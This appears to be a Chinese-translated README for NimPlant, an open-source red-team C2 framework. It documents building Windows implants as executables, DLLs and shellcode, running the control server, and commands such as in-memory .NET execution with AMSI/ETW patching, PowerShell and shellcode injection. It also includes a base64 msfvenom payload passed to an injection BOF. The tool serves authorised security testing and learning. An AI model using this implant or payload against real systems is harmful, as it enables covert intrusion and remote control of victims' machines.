chvancooten/NimPlant
GitHub: chvancooten/NimPlant
基于 Nim/Rust 的轻量级第一阶段 C2 implant,结合 Python 服务端和 Web GUI,为红队提供快速部署和灵活控制。
Stars: 947 | Forks: 117
[](https://github.com/chvancooten/NimPlant/actions)
[](http://makeapullrequest.com)
作者:**Cas van Cooten** ([@chvancooten](https://twitter.com/chvancooten)),特别感谢以下优秀的小伙伴们:
_Kadir Yamamoto ([@yamakadi](https://github.com/yamakadi)), Furkan Göksel ([@frkngksl](https://github.com/frkngksl)) , Fabian Mosch ([@S3cur3Th1sSh1t](https://twitter.com/ShitSecure)), Rafael Félix ([@b1scoito](https://github.com/b1scoito)), Guillaume Caillé ([@OffenseTeacher](https://github.com/offenseteacher)), 以及许多其他人!_
# 功能概述
- 使用 Nim 和 Rust 编程语言编写的轻量级且可配置的 implant
- 漂亮的 Web GUI,让您在所有操作中显得非常酷
- 默认对所有流量进行加密和压缩,混淆 implant 产物中的静态字符串
- 支持多种 implant 类型,包括原生二进制文件、shellcode 或自删除可执行文件
- 提供丰富多样的命令,专注于早期阶段操作,包括本地枚举、文件或注册表管理以及 Web 交互
- 通过 `inline-execute`、使用动态调用的 `shinject`、在自定义 runspace 中的 `powershell` 或线程内的 `execute-assembly`,轻松部署更高级的功能或 payload
- 支持在任何平台上进行操作,但目前 implant 仅针对 x64 Windows
- 全面记录所有交互和文件操作
- 还有更多、更多功能,请看下方 :)
# 使用说明
## 安装
运行 Nimplant 需要现代版本的 Python3。
### 服务端
- 从 server 文件夹安装 `requirements.txt` (`pip3 install -r server/requirements.txt`)。
### Implant (Nim)
- 为您的平台安装 Nim 工具链(建议通过 `choosenim` 安装,因为 `apt` 并不总是最新版本)。
- 使用 Nimble 包管理器安装所需的包 (`cd client; nimble install -d`)。
- 如果您使用的是 Linux 或 MacOS,请为您的平台安装 `mingw` 工具链 (`brew install mingw-w64` 或 `apt install mingw-w64`)。
- 如果您特别使用的是 ArchLinux,请按照 [此 gist](https://gist.github.com/tothi/1f452e0466070db5921135ab312749fc) 修改您的 Mingw 配置(感谢 [@tothi](https://github.com/tothi)!)。
### Implant (Rust)
- 安装 Rust 工具链(建议通过 `rustup` 安装)。
- 安装 MinGW windows target:`rustup target add x86_64-pc-windows-gnu`。
- 为提高 OPSEC(操作安全)建议:按照 `Cargo.toml` 中的说明修改您的 `~/.cargo/config.toml` 文件,并使用 nightly 构建链 (`rustup default nightly`)。
## 入门指南
### 配置
在使用 NimPlant 之前,请创建配置文件 `config.toml`。建议复制 `config.toml.example` 并在其基础上进行修改。
下面是设置的概述。
| 类别 | 设置 | 描述 |
|----------|--------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| server | ip | C2 Web 服务器(包括 API)将监听的 IP。建议使用 127.0.0.1,仅当您设置了适当的防火墙或路由规则以保护 C2 时才使用 0.0.0.0。 |
| server | port | C2 Web 服务器(包括 API)将监听的端口。 |
| listener | type | 监听器类型,HTTP 或 HTTPS。HTTPS 选项在下面配置。 |
| listener | sslCertPath | HTTPS 证书文件的本地路径(例如通过 LetsEncrypt CertBot 申请或自签名)。当监听器类型为 'HTTP' 时忽略此项。 |
| listener | sslKeyPath | 相应 HTTPS 证书私钥文件的本地路径。如果设置,运行 NimPlant 服务器时将提示输入密码。当监听器类型为 'HTTP' 时忽略此项。 |
| listener | hostname | 监听器主机名。如果不为空 (""),NimPlant 将使用此主机名进行连接。请确保已正确将来自此主机的流量路由到 NimPlant 监听器端口。 |
| listener | ip | 监听器 IP。即使设置了 'hostname' 也需要此选项,因为服务器使用它在对应的 IP 上进行注册。 |
| listener | port | 监听器端口。即使设置了 'hostname' 也需要此选项,因为服务器使用它在对应的端口上进行注册。 |
| listener | registerPath | 新 NimPlant 将用于注册的 URI 路径。 |
| listener | taskPath | NimPlant 将从中获取任务的 URI 路径。 |
| listener | resultPath | NimPlant 将提交结果的 URI 路径。 |
| nimplant | riskyMode | 编译 NimPlant 以支持高风险命令。建议操作员谨慎使用。禁用后,将移除对 `execute-assembly`、`powershell`、`shell` 和 `shinject` 的支持。 |
| nimplant | sleepMask | 是否使用 Ekko sleep mask 而不是常规的 sleep 调用。目前仅适用于常规可执行文件! |
| nimplant | sleepTime | 新 NimPlant 的默认休眠时间(以秒为单位)。 |
| nimplant | sleepJitter | 新 NimPlant 的默认抖动(以百分比表示)。 |
| nimplant | killDate | NimPlant 的终止日期(格式:yyyy-MM-dd)。如果此日期已过,NimPlant 将退出。 |
| nimplant | userAgent | NimPlant 使用的 user-agent。服务器也使用它来验证 NimPlant 流量,因此建议选择一个不显眼但也不太常见的 UA。 |
### 编译
配置满意后,您可以生成要部署在目标上的 NimPlant 二进制文件。目前,NimPlant 支持 `.exe`、`.dll` 和 `.bin` 二进制文件,分别用于(自删除)可执行文件、库和位置无关的 shellcode(通过 sRDI)。要生成文件,请运行 `python nimplant.py compile`,后跟您首选的二进制文件类型(`exe`、`exe-selfdelete`、`dll`、`raw` 或 `all`),以及可选的 implant 类型(`nim`、`rust`、`nim-debug` 或 `rust-debug` - 默认编译 Nim)。文件将分别写入 `client/bin/` 或 `client-rs/bin/`。
您可以传递 `rotatekey` 参数以在编译期间生成并使用新的 XOR 密钥。
**注意**:
- NimPlant 目前仅支持 x64!
- DLL 文件的入口点是 `Update`,由 DllMain 为所有入口点触发。这意味着您可以使用例如 `rundll32 .\NimPlant.dll,Update` 进行触发,或使用您选择的 LOLBIN 来侧载它(可能需要在 `client/NimPlant.nim` 或 `client-rs/src/lib.rs` 中进行一些修改)
```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
```
### 使用 Docker 编译
使用 Docker 非常简单,可以避免依赖问题,因为所有必需的构建时和运行时依赖项都已预装在容器中。
要使用 Docker,您可以使用 [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) 上的公共 `chvancooten/nimplant` 容器(通过 CI/CD 构建),或者从源码构建 `Dockerfile`。
这将构建一个标记为 `nimplant:latest` 的容器。注意:由于包含开发依赖项,这可能需要一些时间并产生相当大的容器!
完成后,您可以从命令行运行容器以编译您的产物。
```
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
```
### 启动服务器
二进制文件准备就绪后,您可以启动您的 NimPlant 服务器!如果您在本地编译,则不需要额外的配置,因为它会从相同的 `config.toml` 文件中读取。要启动服务器,只需运行 `python nimplant.py server`(如果在 Linux 上运行,需要 sudo 权限)。一旦有 Nimplant 回连,您就可以使用控制台,或者在 `http://localhost:31337`(默认情况下)访问 Web 界面。
**注意**:
- 如果您在不同于编译二进制文件的机器上外部运行 NimPlant 服务器,请确保 `config.toml` 和 `.xorkey` 都匹配。如果不匹配,NimPlant 将无法连接。
- Web 前端或 API 不支持身份验证,因此**除非有安全的反向代理,否则 _绝不要_ 将前端端口暴露给任何不受信任的网络!**
- 如果 NimPlant 无法连接到服务器或失去连接,它将重试 5 次,并采用指数退避时间,然后尝试重新注册。如果再次注册失败 5 次(相同的退避逻辑),它将自行终止。退避机制在每次失败尝试时将睡眠时间增加两倍。例如,如果睡眠时间为 10 秒,它将等待 10,然后 30 (3^1 * 10),然后 90 (3^2 * 10),然后 270 (3^3 * 10),然后 810 秒后放弃(这些参数是硬编码的,但可以在 `client/NimPlant.nim` 中更改)。
- 日志存储在 `server/logs` 目录中。每个服务器实例创建一个新的日志文件夹,日志按控制台/nimplant 会话划分。下载和上传(包括通过 Web GUI 上传的文件)分别存储在 `server/uploads` 和 `server/downloads` 目录中。
- Nimplant 和服务器详细信息存储在位于 `server/nimplant.db` 的 SQLite 数据库中。此数据还用于在服务器重启后恢复 Nimplant。
- 日志、上传/下载的文件以及数据库可以通过运行带有 `cleanup` 标志的 `nimplant.py` 进行清理。注意:这会清除所有内容,请确保先备份您需要的内容!
```
PS C:\NimPlant> python .\nimplant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
```
这将同时启动 C2 API 和管理 Web 服务器(在上面的示例中位于 `http://127.0.0.1:31337`)以及 NimPlant 监听器(在上面的示例中位于 `https://0.0.0.0:443`)。一旦 NimPlant 回连,您可以使用 Web 界面和控制台向 NimPlant 发送命令。
### 使用 Docker 启动服务器
同样,可以用于编译的 `chvancooten/nimplant` 容器也可用于运行 NimPlant 服务器。为了让 NimPlant 识别服务器,`config.toml` 和 `.xorkey` 文件需要与编译 NimPlant 的机器上的文件匹配(如果您使用相同的 Docker 容器进行编译,这会自动正确)。此外,`config.toml` 文件需要为 docker 正确配置,最值得注意的是管理服务器 IP 必须设置为 `0.0.0.0` 才能通过 Docker 访问它(确保仅将其暴露在主机上的本地接口上)。
您可以使用以下示例命令启动 NimPlant 服务器:
```
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
```
使用 Docker 可以让您轻松设置更复杂的配置。例如,`docker-example` 目录包含一个 `docker-compose.yml` 文件,展示了如何通过 Nginx 重定向器使用 HTTPS 和虚拟登录页面在后台暴露 NimPlant。
### 用法
可用命令如下。您可以通过输入 `help [command]` 获取任何命令的详细帮助。某些标记为 (GUI) 的命令在使用 Web 界面时可以进行图形化配置,这可以通过在不带任何参数的情况下调用该命令来完成。
```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks.
cat [filename] Print a file's contents to the screen.
cd [directory] Change the working directory.
clear Clear the screen.
cp [source] [destination] Copy a file or directory.
curl [url] Get a webpage remotely and return the results.
download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server.
env Get environment variables.
execute-assembly (GUI) [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit Exit the server, killing all NimPlants.
getAv List Antivirus / EDR products on target using WMI.
getDom Get the domain the target is joined to.
getLocalAdm List local administrators on the target using WMI.
getpid Show process ID of the currently selected NimPlant.
getprocname Show process name of the currently selected NimPlant.
help Show this help menu or command-specific help.
hostname Show hostname of the currently selected NimPlant.
inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory.
ipconfig List IP address information of the currently selected NimPlant.
kill Kill the currently selected NimPlant.
list Show list of active NimPlants.
listall Show list of all NimPlants.
ls List files and folders in a certain directory. Lists current directory by default.
mkdir [directory] Create a directory (and its parent directories if required).
mv [source] [destination] Move a file or directory.
nimplant Show info about the currently selected NimPlant.
osbuild Show operating system build information for the currently selected NimPlant.
powershell [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps List running processes on the target. Indicates current process.
pwd Get the current working directory.
reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ.
rm [file] Remove a file or directory.
run [binary] Run a binary from disk. Returns output but blocks NimPlant while running.
screenshot Take a screenshot of the user's screen.
select [id] Select another NimPlant.
shell [command] Execute a shell command.
shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep [sleeptime] Change the sleep time of the current NimPlant.
upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine.
wget [url] Download a file to disk remotely.
whoami Get the user ID that NimPlant is running as.
```
#### 使用 Beacon Object Files (BOFs)
**注意:BOF 本质上是不稳定的,运行有故障的 BOF 或传递错误的参数或类型可能会导致您的 NimPlant 会话崩溃!请确保在部署之前测试 BOF!**
得益于出色的 [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) 和 [Coffee](https://github.com/hakaioffsec/coffee) (Rust) 项目,NimPlant 支持内存中加载 BOF。运行 BOF 需要本地编译的 BOF 目标文件(通常类似于 `bofname.x64.o`)、一个入口点(通常是 `go`)以及具有各自参数类型的参数列表。参数以空格分隔的 `arg argtype` 对形式传递。
参数按照 "Zzsib" 格式给出,因此可以是 `string`(别名:`z`)、`wstring`(或 `Z`)、`integer`(别名:`int` 或 `i`)、`short`(`s`)或 `binary`(`bin` 或 `b`)。二进制参数可以是原始二进制字符串或 base64 编码的,建议使用后者以避免不良字符。
下面提供了一些用法示例(以出色的 TrustedSec BOFs [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] 为例)。请注意,`inline-execute`(不带参数)可用于在 GUI 中以图形方式配置该命令。
```
# 运行不带参数的 bof
inline-execute ipconfig.x64.o go
# 运行 `dir` bof,传入一个 wide-string 参数指定要列出的路径,引号可选
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# 运行 injection BOF,指定一个整数作为 process ID,并将 base64 编码的 shellcode 作为字节传入
# 使用以下命令生成的示例 shellcode:msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# 根据不同的 BOF,有时使用 NiCOFF 进行参数解析会略有不同
# 确保参数按照 BOF 的预期传入(通常可以从 .CNA 或 BOF 源码中获取)
# 一个示例:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
```
#### 推送通知
默认情况下,NimPlant 通过 `server/util/notify.py` 中定义的 `notify_user()` hook 支持推送通知。默认情况下,它实现了一个 Telegram 通知,该通知需要在触发前设置 `TELEGRAM_CHAT_ID` 和 `TELEGRAM_BOT_TOKEN` 环境变量。当然,代码可以轻松扩展以实现用户自定义的推送通知功能。当有新的 NimPlant 回连时,会调用 `notify_user()` hook,并接收一个包含 NimPlant 详细信息的对象,然后可以根据需要将其推送出去。
#### 构建前端
作为普通用户,您不应修改或重新构建 Nimplant 附带的 UI。但是,如果您非常希望进行更改,请安装 NodeJS 并在 `ui` 目录中运行 `npm install`。然后运行 `ui/build-ui.py`。这将负责拉取包、编译 Next.JS 前端,并将文件放置在 Nimplant 服务器可以使用的正确位置。
#### 关于生产环境使用和 OPSEC 的一点看法
NimPlant 是作为一个学习项目开发的,出于透明和教育目的向公众发布。防病毒或 EDR 规避**不是**开箱即用的 implant 的目标。在很大程度上,NimPlant 并没有试图隐藏其意图。此外,已采取保护措施以防止滥用。换句话说,**在没有彻底的源代码审查和修改的情况下,绝不要原样将 NimPlant 用于实际的生产测试活动!** 还请记住,与任何 C2 框架一样,应在部署前考虑运行某些命令的 OPSEC 指纹。通过在 `config.toml` 中将 `riskyMode` 设置为 `false`,可以在不包含具有 OPSEC 风险的命令的情况下编译 NimPlant。
## 故障排除
Nimplant 编译或运行失败的原因有很多。如果您遇到问题,请尝试以下步骤(按顺序):
- 确保您遵循了上述“安装说明”部分中描述的步骤,仔细检查是否已安装所有依赖项并且版本匹配
- 确保您遵循了上述“编译”部分中描述的步骤,并确保您使用了 Docker 容器来排除任何依赖问题
- 检查 `server/logs` 目录中的日志是否有任何错误
- 尝试使用 `nim-debug` 或 `rust-debug` 编译模式,以通过控制台和调试消息(仅限 .exe)进行编译,查看是否返回任何错误消息
- 尝试从其他操作系统或使用其他工具链进行编译,以查看是否出现相同的错误
- 如果上述所有方法都失败,请提交 issue。确保包含相应的构建信息(操作系统、nim/rust/python 版本、依赖项版本)以及上述故障排除步骤的结果。**不完整的 issue 可能会被直接关闭而不另行通知。**
标签:C2框架, DNS 反向解析, HTTP工具, IP 地址批量处理, Nim语言, Python, Rust语言, Shellcode, Web GUI, 中高交互蜜罐, 代码执行, 反弹Shell, 可视化界面, 命令与控制, 嗅探欺骗, 安全学习资源, 安全测试, 安全监控, 恶意软件开发, 技术调研, 攻击性安全, 攻击模拟, 数据包嗅探, 文件管理, 无后门, 无线安全, 权限维持, 植入物, 系统枚举, 网络信息收集, 网络安全, 网络安全审计, 请求拦截, 远程控制, 逆向工具, 通知系统, 隐私保护, 驱动签名利用